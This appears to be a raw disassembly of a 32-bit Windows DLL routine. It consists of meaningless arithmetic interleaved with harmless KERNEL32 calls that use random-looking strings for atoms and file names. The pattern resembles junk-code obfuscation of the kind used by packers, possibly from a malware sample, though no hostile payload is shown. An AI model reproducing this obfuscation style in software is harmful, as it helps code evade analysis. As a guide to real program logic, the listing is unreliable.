mov word [ebp - 0x1844], ax
mov eax, dword [0x100baf9c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4384]
sar edx, cl
mov dword [ebp - 0x2bcc], edx
mov ax, word [ebp - 0x125c]
mov word [0x100bbc68], ax
mov ecx, dword [0x100badd4]
mov dword [ebp - 0x5208], ecx
push 0x100bb1c0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea edx, [ebp - 0x4e]
mov dword [ebp - 0x520c], edx
mov al, byte [0x100b7f26]
mov byte [0x100b85e2], al
mov ecx, dword [ebp - 0x5128]
movsx edx, byte [ecx]
movsx eax, byte [0x100b7257]
xor edx, eax
mov ecx, dword [ebp - 0x44ac]
mov byte [ecx], dl
mov edx, dword [ebp - 0x426c]
add edx, dword [ebp - 0x3f4c]
mov eax, dword [ebp - 0x3ad8]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x2f2]
movzx edx, byte [0x100b8137]
and ecx, edx
mov byte [0x100b7ec7], cl
mov eax, dword [ebp - 0x3a34]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xcb4]
imul ecx, edx
mov word [ebp - 0x624], cx
movzx eax, word [ebp - 0x12fc]
mov ecx, dword [ebp - 0x5148]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x1040], ax
mov eax, dword [ebp - 0x4b00]
mov ecx, dword [ebp - 0x4ad8]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [0x100bad5c], edx
movsx eax, byte [ebp - 0x13b]
movsx ecx, byte [0x100b8233]
shl eax, cl
mov ecx, dword [ebp - 0x4728]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbc6c], eax
push 0x3e9
mov edx, dword [ebp - 0x3ad4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x5210], eax
mov eax, dword [ebp - 0x2ad4]
mov ecx, dword [0x100b97f8]
sar eax, cl
mov ecx, dword [ebp - 0x4074]
mov dword [ecx], eax
lea edx, [ebp - 0x26d]
mov dword [0x100bbc70], edx
mov ax, word [0x100bae30]
mov word [ebp - 0x1848], ax
push str.5H_XvjVF_KqxSkH_UkUQ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbc74], ax
mov ecx, dword [0x100b9880]
mov dx, word [ecx]
mov word [ebp - 0x184c], dx
mov eax, dword [ebp - 0x5128]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x2c5]
add ecx, edx
mov byte [0x100b7332], cl
movzx eax, word [0x100b7428]
mov ecx, dword [0x100bac80]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xd10], ax
mov eax, dword [ebp - 0x3aac]
mov ecx, dword [0x100b9fb4]
mov edx, dword [eax]
imul edx, dword [ecx]
mov eax, dword [ebp - 0x3b28]
mov dword [eax], edx
mov ecx, dword [ebp - 0x302c]
xor ecx, dword [ebp - 0x3d1c]
mov edx, dword [0x100ba55c]
mov dword [edx], ecx
mov dword [ebp - 0x5214], 0x100b72ab
movsx eax, word [ebp - 0x1140]
mov ecx, dword [0x100bb2b0]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x47e8]
mov word [ecx], ax
lea edx, [ebp - 0x2eb]
mov dword [0x100bbc78], edx
movzx eax, word [0x100b73f8]
movzx ecx, word [ebp - 0x12a8]
sub eax, ecx
mov word [ebp - 0xe14], ax
mov edx, dword [0x100b9838]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x45f0], eax
lea eax, [ebp - 0xaf54]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [0x100b9bc8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1850], ax
mov edx, dword [ebp - 0x4d2c]
mov eax, dword [ebp - 0x4244]
or eax, dword [edx]
mov dword [ebp - 0x48f0], eax
mov ecx, dword [ebp - 0x41a0]
mov edx, dword [ecx]
mov ecx, dword [0x100ba074]
shl edx, cl
mov eax, dword [0x100ba5d0]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbc7c], eax
mov cl, byte [ebp - 0x30a]
mov byte [ebp - 0x321], cl
lea edx, [ebp - 0x30f]
mov dword [ebp - 0x5218], edx
mov eax, dword [0x100bbbd8]
movsx edx, word [eax]
mov eax, dword [ebp - 0x494c]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [0x100bb42c]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbc80], eax
mov edx, dword [0x100ba3ec]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x130c]
and eax, ecx
mov edx, dword [ebp - 0x40ac]
mov word [edx], ax
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [eax]
add ecx, dword [0x100ba1a8]
mov dword [ebp - 0x2b5c], ecx
mov edx, dword [ebp - 0x447c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x5028]
movsx edx, byte [ecx]
and eax, edx
mov byte [0x100b7333], al
mov eax, dword [ebp - 0x4b58]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx edx, byte [0x100b802f]
mov eax, dword [ebp - 0x37c4]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x45ac]
mov byte [ecx], dl
mov edx, dword [ebp - 0x2ce8]
mov dword [ebp - 0x521c], edx
lea eax, [ebp - 0xa88]
mov dword [0x100bbc84], eax
movsx edx, word [0x100ba8b4]
mov eax, dword [ebp - 0x504c]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xb8c], dx
mov ecx, dword [ebp - 0x32a4]
or ecx, dword [ebp - 0x41b0]
mov dword [ebp - 0x30e8], ecx
movsx edx, byte [0x100b72ef]
mov eax, dword [ebp - 0x4188]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b7ff2], dl
push 0
push 4
push 5
push 0
push 2
push 0xc0000000
push str.Y3i7RXojsTl377sqr1Ic
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5220], eax
lea edx, [ebp - 0xac]
mov dword [ebp - 0x5224], edx
push str.G924gXN_T_aIAfW_Cj24aIi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba688], ax
lea eax, [ebp - 0xc64]
mov dword [ebp - 0x5228], eax
lea ecx, [ebp - 0xca4]
mov dword [0x100bbc88], ecx
mov edx, dword [ebp - 0x50f8]
mov eax, dword [edx]
xor eax, dword [ebp - 0x326c]
mov ecx, dword [ebp - 0x3aac]
mov dword [ecx], eax
mov edx, dword [0x100ba6d0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xe98]
add eax, ecx
mov edx, dword [ebp - 0x509c]
mov word [edx], ax
mov eax, dword [ebp - 0x3aa8]
mov ecx, dword [ebp - 0x3790]
and ecx, dword [eax]
mov dword [0x100b9ee8], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbc8c], eax
mov edx, dword [0x100bb500]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4094]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x1ba], al
movzx edx, byte [ebp - 0x1b0]
movzx eax, byte [ebp - 0x2c3]
sub edx, eax
mov byte [0x100b7e3a], dl
lea ecx, [ebp - 0x9c40]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.WhkHl0nH_JwO_I8SG_GnD
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1854], ax
mov edx, dword [ebp - 0x44a8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4a50]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x1670], ax
lea edx, [ebp - 0x2dfc]
mov dword [ebp - 0x522c], edx
lea eax, [ebp - 0x326c]
mov dword [0x100bbc90], eax
mov ecx, dword [ebp - 0x4470]
movsx edx, word [ecx]
movsx eax, word [0x100b7254]
or edx, eax
mov word [ebp - 0x1714], dx
mov cl, byte [ebp - 0x3c]
mov byte [ebp - 0x322], cl
push 0x42f
push 0x161c
push 0x483
push 0x3303
mov edx, dword [0x100bac68]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100bbc94], eax
mov dword [0x100bbc98], 0x100b80fa
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x5230], eax
movsx eax, byte [ebp - 0x1e5]
movsx ecx, byte [ebp - 0x143]
add eax, ecx
mov edx, dword [ebp - 0x371c]
mov byte [edx], al
lea eax, [ebp - 0x41b0]
mov dword [ebp - 0x5234], eax
movzx ecx, word [ebp - 0xd80]
mov edx, dword [ebp - 0x44cc]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [0x100ba2ac]
mov word [edx], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3924], eax
mov eax, dword [0x100bb528]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.9i6_XtU9p4vB_xNI_NyM8iSwI
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbc9c], ax
mov ecx, dword [ebp - 0x3e18]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3a78]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x9a4], dx
mov ecx, dword [0x100bb228]
mov edx, dword [0x100b9550]
mov eax, dword [ecx]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x4268]
mov dword [ecx], eax
movzx edx, word [ebp - 0x17e4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9944], ax
mov eax, dword [ebp - 0x4370]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4424]
movzx eax, byte [edx]
xor ecx, eax
mov byte [0x100b71ce], cl
movsx edx, byte [0x100b725a]
mov eax, dword [0x100baeb8]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x50dc]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x5238], eax
mov edx, dword [ebp - 0x48dc]
mov eax, dword [0x100bb9a0]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x3164], ecx
push 0
push 0x40
push 0
push 0
push 4
push 0x80000000
push str.MG6mPchsGQWsh
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbca0], eax
push str.8Y1fG_MhWQubS_D0U
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x16f4], ax
lea edx, [ebp - 0x13ac]
mov dword [0x100bbca4], edx
mov eax, dword [ebp - 0x415c]
mov cx, word [eax]
mov word [ebp - 0x1858], cx
movzx edx, word [ebp - 0xa10]
movzx eax, word [ebp - 0x1300]
and edx, eax
mov word [ebp - 0x1670], dx
lea ecx, [ebp - 0xf3]
mov dword [0x100bbca8], ecx
mov edx, dword [0x100ba7f4]
mov eax, dword [edx]
or eax, dword [ebp - 0x50b0]
mov ecx, dword [ebp - 0x49c8]
mov dword [ecx], eax
movzx edx, word [0x100bb5a8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x185c], ax
lea eax, [ebp - 0x3f60]
mov dword [ebp - 0x523c], eax
mov ecx, dword [ebp - 0x38a4]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x262]
sar edx, cl
mov eax, dword [0x100ba370]
mov byte [eax], dl
mov ecx, dword [ebp - 0x4a9c]
movzx edx, word [ecx]
movzx eax, word [0x100b7380]
xor edx, eax
mov word [ebp - 0x1040], dx
mov ecx, dword [ebp - 0x3b8c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xb80]
add edx, eax
mov word [ebp - 0x904], dx
mov ecx, dword [ebp - 0x4c4c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bbcac], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5240], eax
lea edx, [ebp - 0x2de]
mov dword [0x100bbcb0], edx
movzx eax, byte [0x100b80e6]
mov ecx, dword [ebp - 0x45ec]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x42e8]
mov byte [ecx], al
mov edx, dword [0x100ba878]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x4334], eax
lea eax, [ebp - 0x3e04]
mov dword [ebp - 0x5244], eax
mov ecx, dword [ebp - 0x4fcc]
sub ecx, dword [ebp - 0x41e4]
mov dword [0x100b7318], ecx
lea edx, [ebp - 0x309]
mov dword [ebp - 0x5248], edx
mov eax, dword [0x100b9bb8]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xc6c]
shl edx, cl
mov eax, dword [ebp - 0x4ff4]
mov word [eax], dx
movsx ecx, word [ebp - 0x1630]
mov edx, dword [ebp - 0x41ec]
movsx eax, word [edx]
or ecx, eax
mov word [0x100bb784], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbcb4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bbb78], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x524c], eax
movzx edx, byte [ebp - 0x8f]
movzx ecx, byte [ebp - 0x27c]
sar edx, cl
mov eax, dword [ebp - 0x4b8c]
mov byte [eax], dl
push 0x100bb7e4
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x3494]
mov edx, dword [ecx]
mov dword [ebp - 0x5250], edx
mov ax, word [ebp - 0x5d0]
mov word [0x100bbcb8], ax
mov ecx, dword [ebp - 0x3bc4]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3028]
mov dword [ebp - 0x4938], edx
mov al, byte [0x100b7ff2]
mov byte [ebp - 0x323], al
lea ecx, [ebp - 0x5c0]
mov dword [0x100bbcbc], ecx
movzx edx, byte [ebp - 0x2d4]
mov eax, dword [ebp - 0x518c]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x260], dl
lea edx, [ebp - 0x4b84]
mov dword [ebp - 0x5254], edx
mov eax, dword [ebp - 0x515c]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x372c]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100b955c]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4c88]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5f0]
xor eax, ecx
mov word [ebp - 0x1050], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x5258], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbcc0], eax
movzx edx, word [ebp - 0x1580]
movzx eax, word [0x100b9b9c]
add edx, eax
mov word [ebp - 0xfa4], dx
mov edx, dword [ebp - 0x3080]
mov ecx, dword [0x100ba900]
shr edx, cl
mov dword [0x100b71dc], edx
lea eax, [ebp - 0x1474]
mov dword [ebp - 0x525c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x5178], eax
mov ecx, dword [0x100ba0bc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4564]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x334c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3170]
mov dword [0x100bbcc4], ecx
push 0
push 0x20
push 5
push 0
push 1
push 0x80000000
push str.QjfDJw0DF0lYTs9r4
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5260], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbcc8], eax
lea edx, [ebp - 0x9bf8]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, byte [ebp - 0x87]
mov ecx, dword [ebp - 0x4668]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x2df], al
mov dword [ebp - 0x5264], 0x100bbcb8
lea eax, [ebp - 0x69c]
mov dword [0x100bbccc], eax
push 0
push 0x2152
push 0x333e
push 0x6ddc
push 2
mov ecx, dword [0x100badd8]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x4ca4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbcd0], eax
push 0
push 0x400
push 0
push 0
push 4
push 0x40000000
push str.wPUQCed83UiNM0pO_vGjFWpoY
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5268], eax
lea edx, [ebp - 0x2ef]
mov dword [ebp - 0x526c], edx
mov eax, dword [ebp - 0x3680]
mov ecx, dword [eax]
imul ecx, dword [ebp - 0x2ecc]
mov edx, dword [0x100ba7f4]
mov dword [edx], ecx
movsx eax, word [ebp - 0x1144]
movsx ecx, word [0x100b9f50]
xor eax, ecx
mov edx, dword [ebp - 0x4c38]
mov word [edx], ax
mov eax, dword [ebp - 0x4238]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3e34]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x1fa], cl
push str.j_ZKE_DfPZEW_AKNJiT
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba494], ax
lea ecx, [ebp - 0x3c7c]
mov dword [0x100bbcd4], ecx
movzx edx, word [ebp - 0x618]
mov eax, dword [ebp - 0x3834]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x11cc], dx
lea ecx, [ebp - 0xb53c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [0x100bab78]
mov eax, dword [0x100bbcc4]
add eax, dword [edx]
mov dword [ebp - 0x308c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbcd8], eax
push 0x100b9a58
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x4fa0]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x5e0]
sar edx, cl
mov word [0x100bbb30], dx
mov eax, dword [ebp - 0x4cfc]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bae5c], eax
mov dword [ebp - 0x5270], 0x100baae0
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xba]
and edx, eax
mov ecx, dword [ebp - 0x4028]
mov byte [ecx], dl
lea edx, [ebp - 0x18c]
mov dword [0x100bbcdc], edx
mov eax, dword [ebp - 0x4070]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [0x100bb8dc]
mov dl, byte [ecx]
mov byte [ebp - 0x324], dl
mov eax, dword [0x100bbb80]
mov dword [ebp - 0x5274], eax
push 0x100bbce0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x4238]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x140]
or edx, eax
mov byte [0x100b8516], dl
movsx ecx, word [ebp - 0x1270]
movsx edx, word [ebp - 0x1660]
xor ecx, edx
mov word [ebp - 0x1730], cx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5278], eax
movzx eax, word [0x100b966c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15f0], ax
movzx ecx, word [ebp - 0x1004]
movzx edx, word [ebp - 0x1828]
add ecx, edx
mov word [ebp - 0x5b4], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x527c], eax
mov eax, dword [ebp - 0x4960]
mov edx, dword [0x100ba074]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x100b74b4], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbd04], eax
movsx eax, byte [ebp - 0x31b]
mov ecx, dword [0x100bba60]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x293], al
lea eax, [ebp - 0x4934]
mov dword [ebp - 0x5280], eax
mov ecx, dword [0x100ba80c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x46bc], eax
push 0
push 0x200
push 1
push 0
push 2
push 0x40000000
push str.IPZddvVkwZz1HOqWFp5vX6iN
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5284], eax
movzx edx, byte [ebp - 0x2e0]
movzx ecx, byte [0x100b8343]
sar edx, cl
mov byte [0x100b729a], dl
movzx eax, word [0x100bb31c]
mov ecx, dword [ebp - 0x439c]
movzx edx, word [ecx]
imul eax, edx
mov ecx, dword [ebp - 0x33dc]
mov word [ecx], ax
mov edx, dword [ebp - 0x4f64]
movsx eax, word [edx]
mov ecx, dword [0x100b9d64]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3b84]
mov word [ecx], ax
push 0
push 0x40
push 4
push 0
push 1
push 0xc0000000
push str.ZsYno6PAx_vo
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbd08], eax
push 0x100ba428
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5288], eax
lea edx, [ebp - 0xc9]
mov dword [0x100bbd0c], edx
mov eax, dword [ebp - 0x40d0]
movzx ecx, word [eax]
mov edx, dword [0x100b9c5c]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x9d0], cx
mov ecx, dword [ebp - 0x385c]
mov edx, dword [ecx]
or edx, dword [0x100b7390]
mov eax, dword [ebp - 0x3b24]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbd10], eax
mov ecx, dword [ebp - 0x308c]
and ecx, dword [ebp - 0x3ee8]
mov dword [0x100b9644], ecx
lea edx, [ebp - 4]
mov dword [ebp - 0x528c], edx
mov eax, dword [0x100b9880]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x89c]
sub ecx, edx
mov word [ebp - 0x16e4], cx
mov eax, dword [ebp - 0x3bb8]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x45dc]
movsx ecx, byte [eax]
shl edx, cl
mov byte [0x100b7263], dl
mov cx, word [ebp - 0x1650]
mov word [ebp - 0x1860], cx
mov edx, dword [0x100baa24]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2c3c]
sar eax, cl
mov ecx, dword [ebp - 0x4294]
mov dword [ecx], eax
mov edx, dword [ebp - 0x507c]
mov eax, dword [edx]
mov dword [0x100bbd14], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3e08], eax
mov dword [ebp - 0x5290], 0x2895
lea ecx, [ebp - 0x29f]
mov dword [ebp - 0x5294], ecx
movsx edx, byte [ebp - 0x161]
movsx eax, byte [ebp - 0x24d]
xor edx, eax
mov byte [ebp - 0x26], dl
mov ecx, dword [0x100bac9c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xed0]
add edx, eax
mov ecx, dword [0x100ba768]
mov word [ecx], dx
movzx edx, word [ebp - 0x1430]
mov eax, dword [ebp - 0x374c]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x39d4]
mov word [eax], dx
lea ecx, [ebp - 0x2ae0]
mov dword [ebp - 0x5298], ecx
push 0
push 0x843
push 0x1159
push 0x6ad8
push 1
mov edx, dword [ebp - 0x5268]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100b9d38], eax
push 0
push 0x200
push 2
push 0
push 4
push 0x40000000
push str.cQZ2jZliLhWuv0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x529c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbd18], eax
movsx eax, byte [ebp - 0x89]
imul ecx, eax, 0x4f
mov byte [str.o1o_vk], cl
mov edx, dword [0x100bb340]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4284]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x50fc]
mov byte [ecx], al
movzx edx, word [0x100b9744]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1864], ax
lea eax, [ebp - 0x5208]
mov dword [ebp - 0x52a0], eax
movzx eax, word [ebp - 0x1738]
cdq
mov ecx, 0x5c1
idiv ecx
mov word [0x100b9a1c], ax
movsx edx, word [ebp - 0x12b0]
mov eax, dword [ebp - 0x508c]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x451c]
mov word [ecx], dx
mov edx, dword [ebp - 0x3d94]
mov dword [ebp - 0x52a4], edx
lea eax, [ebp - 0x1ce]
mov dword [0x100bbd1c], eax
movzx edx, byte [ebp - 0x2e0]
movzx ecx, byte [0x100b7df6]
sar edx, cl
mov byte [ebp - 0x4d], dl
movzx eax, word [ebp - 0x1264]
movzx ecx, word [ebp - 0x14d4]
add eax, ecx
mov word [ebp - 0x618], ax
mov dx, word [0x100bbcb8]
mov word [0x100bbd20], dx
lea eax, [ebp - 0x3ea0]
mov dword [ebp - 0x52a8], eax
mov ecx, dword [ebp - 0x3b8c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3e9c]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x1194], dx
mov edx, dword [ebp - 0x4aac]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2c3c]
mov ecx, dword [0x100bb170]
mov dword [ecx], eax
mov dword [ebp - 0x52ac], 0x100b7f2b
mov edx, dword [ebp - 0x4610]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5294]
movzx edx, byte [ecx]
xor eax, edx
mov byte [0x100b733b], al
lea eax, [ebp - 0xf38]
mov dword [ebp - 0x52b0], eax
mov ecx, dword [ebp - 0x2db0]
xor ecx, dword [ebp - 0x2cfc]
mov dword [ebp - 0x32ac], ecx
mov edx, dword [ebp - 0x4300]
mov eax, dword [0x100b9748]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [0x100ba978]
mov dword [edx], ecx
mov eax, dword [ebp - 0x48a8]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3a30]
movsx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x698], cx
lea ecx, [ebp - 0x179]
mov dword [ebp - 0x52b4], ecx
push 0xc5e
push 0
lea edx, [ebp - 0x4670]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bbd24], eax
movzx eax, byte [0x100b8387]
movzx ecx, byte [ebp - 0x2f3]
or eax, ecx
mov edx, dword [0x100bbb1c]
mov byte [edx], al
lea eax, [ebp - 0x17f]
mov dword [ebp - 0x52b8], eax
movzx ecx, word [ebp - 0x1470]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bbd28], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x52bc], eax
mov edx, dword [0x100bab08]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bb5a4], eax
mov eax, dword [0x100bb24c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3d94]
shl edx, cl
mov dword [ebp - 0x2b58], edx
lea eax, [ebp - 0xfb4]
mov dword [0x100bbd2c], eax
mov ecx, dword [ebp - 0x415c]
mov dx, word [ecx]
mov word [ebp - 0x1868], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x52c0], eax
mov eax, dword [ebp - 0x46b0]
mov edx, dword [eax]
mov ecx, dword [0x100ba69c]
shr edx, cl
mov dword [ebp - 0x3634], edx
movzx eax, byte [ebp - 0x17d]
mov ecx, dword [0x100bb598]
movzx edx, byte [ecx]
and eax, edx
mov byte [0x100b71ee], al
movsx eax, byte [ebp - 0x21e]
movsx ecx, byte [ebp - 0xb]
add eax, ecx
mov byte [ebp - 0x1ce], al
mov edx, dword [ebp - 0x3f54]
mov eax, dword [edx]
and eax, dword [0x100bb78c]
mov dword [ebp - 0x2fac], eax
movzx ecx, word [ebp - 0x1778]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bbd30], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbd34], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x52c4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3df4], eax
lea edx, [ebp - 0xa34]
mov dword [0x100bbd38], edx
lea eax, [ebp - 0x624]
mov dword [ebp - 0x52c8], eax
mov ecx, dword [ebp - 0x4d60]
movzx edx, word [ecx]
movzx ecx, word [0x100bb4cc]
sar edx, cl
mov eax, dword [ebp - 0x3ae8]
mov word [eax], dx
movzx edx, byte [ebp - 0x2b1]
movzx ecx, byte [0x100b83c3]
shl edx, cl
mov eax, dword [0x100bb55c]
mov byte [eax], dl
mov ecx, dword [0x100bb2c4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [0x100ba238]
mov eax, dword [ebp - 0x30bc]
or eax, dword [edx]
mov dword [ebp - 0x31e0], eax
lea ecx, [ebp - 0x4708]
mov dword [ebp - 0x52cc], ecx
push str.lQ7xL
call dword [sym.imp.KERNEL32.dll_AddAtomW]
